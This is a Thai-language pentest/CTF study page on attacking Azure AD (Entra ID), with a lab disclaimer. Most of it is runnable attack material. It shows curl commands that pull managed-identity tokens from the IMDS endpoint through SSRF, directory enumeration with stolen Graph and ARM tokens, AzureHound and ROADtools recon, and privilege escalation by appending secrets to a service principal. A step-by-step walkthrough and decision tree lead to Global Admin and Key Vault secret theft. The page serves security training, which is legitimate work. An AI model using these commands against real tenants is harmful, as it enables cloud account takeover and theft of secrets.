คลัง
cloud

Azure AD / Entra ID Attacks

Azure AD (Entra ID) Attacks ครอบคลุมการโจมตี identity บน Azure: managed identity abuse (ดึง token จาก IMDS), service principal/app registration abuse, role assignment privesc, การ enumerate directory ผ่าน Graph API, และ consent/OAuth phishing บทนี้มีคำสั่งครบ + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#azure#azuread#entra#cloud#managed-identity#oauth#ctf#pentest

1. หลักการ

Azure ใช้ Entra ID (เดิม Azure AD) จัดการ identity ต่างจาก AWS (ที่ใช้ IAM) แนวคิดหลัก: managed identity (resource มีตัวตนเองโดยไม่ต้องเก็บ cred), service principal (app identity), role assignment (RBAC) จุดโจมตี: ดึง token จาก managed identity, abuse service principal, role privesc

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, cloud pentest) เท่านั้น

2. Managed Identity Token Theft

ถ้าอยู่บน Azure VM/App Service ที่มี managed identity → ดึง access token จาก IMDS (คล้าย AWS แต่ endpoint ต่าง) มักผ่าน SSRF บนเว็บที่รันบน Azure

ดึง token จาก IMDS
# ดึง access token สำหรับ Azure Resource Manager
curl -s -H Metadata:true \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# token สำหรับ Graph API (enumerate directory)
curl -s -H Metadata:true \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/'

# token สำหรับ Key Vault (ดึง secret)
curl -s -H Metadata:true \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'
ใช้ token ที่ได้
TOKEN=<access_token>
# list subscriptions
curl -s -H "Authorization: Bearer $TOKEN" \
  'https://management.azure.com/subscriptions?api-version=2020-01-01'
# Graph: ดู user/group/role
curl -s -H "Authorization: Bearer $TOKEN" \
  'https://graph.microsoft.com/v1.0/users'
# หรือ login az ด้วย identity
az login --identity
az account show

3. Directory Enumeration

enumerate ผ่าน az / Graph
# users, groups, roles
az ad user list --query '[].{name:displayName,upn:userPrincipalName}'
az ad group list
az role assignment list --all

# service principals / app registrations
az ad sp list --all
az ad app list

# AzureHound (BloodHound for Azure) — หา attack path
azurehound -u user@tenant -p pass list --tenant <id> -o output.json
# import เข้า BloodHound → ดู privesc path

4. Privilege Escalation

ช่องวิธี
Service principal credentialเพิ่ม secret/cert ให้ SP สิทธิ์สูง แล้ว auth เป็น SP นั้น
App role assignmentถ้าควบคุม app ที่มี Graph permission สูง
Owner ของ SP/Appเพิ่ม credential → impersonate
Role: User Access Adminassign role ให้ตัวเอง
Managed identity ที่กว้างดึง token → ใช้สิทธิ์ resource
เพิ่ม credential ให้ service principal
# ถ้ามีสิทธิ์เพิ่ม credential ให้ SP สิทธิ์สูง
az ad app credential reset --id <app-id> --append
# ได้ secret ใหม่ → login เป็น SP
az login --service-principal -u <app-id> -p <secret> --tenant <tenant>

5. Lab Walkthrough

  1. 1SSRF บนเว็บที่รันบน Azure App Service → ยิง IMDS ดึง managed identity token
  2. 2ใช้ token เรียก Graph: curl -H 'Authorization: Bearer $TOKEN' graph.microsoft.com/v1.0/users → enumerate
  3. 3token สำหรับ Key Vault → ดึง secret: vault.azure.net/secrets/...
  4. 4AzureHound → import BloodHound → หา path ไป Global Admin
  5. 5ถ้าคุม SP ได้: เพิ่ม credential → auth เป็น SP สิทธิ์สูง
  6. 6flag มักอยู่: Key Vault secret, storage account, หรือ resource ที่ identity เข้าถึง

6. Troubleshooting

อาการสาเหตุ / แก้
IMDS ไม่ตอบต้องมี header Metadata:true; resource ต้องตรง
token ใช้กับ Graph ไม่ได้ขอ token ผิด resource — ขอ resource=graph.microsoft.com
az login --identity failVM ไม่มี managed identity — ลอง user-assigned (--username)
Graph: Authorization_RequestDeniedidentity ไม่มี Graph permission — ลอง ARM แทน
token หมดอายุขอใหม่จาก IMDS (token อายุ ~1 ชม.)

7. Indicators & Quick Reference

สัญญาณ: เว็บบน Azure (App Service/VM), SSRF → IMDS 169.254.169.254/metadata/identity (header Metadata:true), .azurewebsites.net, Key Vault reference
  • AWS ใช้ IAM, Azure ใช้ Entra ID (Azure AD) — แนวคิดต่างกัน
  • managed identity token: IMDS + Metadata:true header (ต่างจาก AWS)
  • AzureHound = BloodHound for Azure (หา attack path)
  • Key Vault = ที่เก็บ secret (ดึงด้วย token ถ้า identity มีสิทธิ์)
  • เครื่องมือ: az-cli, ROADtools (recon), MicroBurst (PowerShell)

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งเจอโจทย์นี้: อาจมี username/password ของบัญชี Azure AD (Entra ID), หรือเจอ SSRF บนเว็บที่รันบน Azure App Service/VM มีแค่เครื่อง Kali เปล่า ๆ ทำตามนี้ทีละขั้น

  1. 1ติดตั้ง az cli ถ้ายังไม่มี: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash แล้วเช็คด้วย az --version
  2. 2ถ้ามี username/password: az login -u user@tenant.onmicrosoft.com -p '<password>'
  3. 3ถ้ามี SSRF บนเว็บที่รันบน Azure: ยิง IMDS ดึง managed identity token — curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
  4. 4ใช้ token ตรวจว่าเป็นใคร/มีสิทธิ์อะไร: curl -H "Authorization: Bearer $TOKEN" 'https://management.azure.com/subscriptions?api-version=2020-01-01'
  5. 5ติดตั้ง ROADtools แล้ว recon เต็ม: pip install roadrecon จากนั้น roadrecon auth -u user@tenant -p password แล้ว roadrecon gather
  6. 6ติดตั้ง AzureHound (BloodHound for Azure): ดาวน์โหลด binary จาก release แล้วรัน azurehound -u user@tenant -p password list --tenant <tenant-id> -o output.json
  7. 7เปิด neo4j + BloodHound แล้ว import output.json เข้าไปเพื่อดูกราฟ attack path
  8. 8เช็ค role assignment ด้วยมือคู่กัน: az role assignment list --all และ az ad sp list --all
  9. 9ถ้า BloodHound/manual enum ชี้ว่าคุม service principal สิทธิ์สูงได้ ให้เพิ่ม credential: az ad app credential reset --id <app-id> --append
  10. 10login เป็น SP นั้น: az login --service-principal -u <app-id> -p <secret> --tenant <tenant> แล้วหา flag ใน Key Vault/Storage
Decision tree: มีอะไรอยู่ในมือแล้วทำไงต่อ
มีอะไรอยู่ในมือ
✅ มี username/password ของ Azure AD accountlogin-creds
✅ เจอ SSRF บนเว็บที่รันบน Azure (App Service/VM)imds-token
❌ ไม่มีทั้งคู่find-entry
az login ด้วย user/pass ที่มี
✅ login สำเร็จrole-enum
❌ login ไม่ผ่าน (ผิด/โดน MFA บล็อก)ทางตัน — เช็คว่า credential ถูกจริงไหม หรือ tenant ต้องการ MFA ที่ทำไม่ได้ในสถานการณ์นี้
ยิง curl -H Metadata:true ไปที่ IMDS
✅ ได้ access_token กลับมาuse-token
❌ IMDS ไม่ตอบ/timeoutทางตัน — เช็ค header Metadata:true ถูกไหม หรือเว็บนั้นไม่ได้รันบน Azure VM/App Service จริง
ใช้ token เรียก management.azure.com / graph.microsoft.com
✅ เรียกได้ เห็น subscription/userrole-enum
❌ scope/resource ผิดretry-resource
ลองขอ token คนละ resource (graph.microsoft.com / vault.azure.net / management.azure.com)
✅ resource ใดอันหนึ่งใช้ได้role-enum
❌ ทุก resource ถูกปฏิเสธหมดidentity นี้แทบไม่มีสิทธิ์อะไรเลย — เช็คว่ามี resource อื่นที่ identity ผูกอยู่ (storage account) แทน
Enumerate ด้วย az ad + AzureHound
az role assignment list --all, az ad sp list --all, azurehound -> import BloodHound
✅ BloodHound เจอ path ไปสิทธิ์สูง/Global Adminexploit-path
❌ ไม่เจอ path ชัดเจนลองดู Key Vault/Storage ที่ identity เข้าถึงได้ตรง ๆ เผื่อ flag อยู่ที่นั่นแล้วโดยไม่ต้อง privesc
ทำตาม attack path ที่เจอ (เพิ่ม credential ให้ SP, assign role ให้ตัวเอง)
✅ ได้สิทธิ์สูงขึ้น (Global Admin/Owner)got-admin
❌ path ต้องการสิทธิ์ที่ยังไม่มีลอง path อื่นที่ BloodHound เสนอ หรือ chain หลาย path ต่อกัน
เป็นสิทธิ์สูงแล้ว — ดึง secret จาก Key Vault
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
login/เรียก Azure API (user/SP)az-clicurl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash-
recon directory เต็มรูปแบบ (offline query)-ROADtools (pip install roadrecon)-
หา attack path แบบกราฟ (BloodHound for Azure)-AzureHound + BloodHound/neo4j-
PowerShell recon/abuse module-MicroBurst (git clone)-
ยิง IMDS ดึง managed identity tokencurl--
decode JWT token ที่ได้จาก Graph/ARM--jwt.io
สแกน misconfig Azure subscription ทั้งหมด-ScoutSuite (--provider azure)-
อ้างอิง technique Azure AD เพิ่มเติม--hackingthe.cloud
🚑 ถ้าตันสนิท ลองท่าถัดไป: ลองดู aws-iam-privesc ถ้า tenant นี้เชื่อมต่อกับ AWS account (federation/SSO), ลอง gcp-attacks ถ้าโจทย์เป็น multi-cloud, ลอง kubernetes-attacks ถ้า managed identity นี้ผูกกับ pod บน AKS (workload identity), ถ้าไม่มีทางดึง IMDS token เลยตั้งแต่แรก ลองกลับไปที่ ssrf เพื่อหาช่องโหว่ที่ยิง metadata endpoint ได้

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้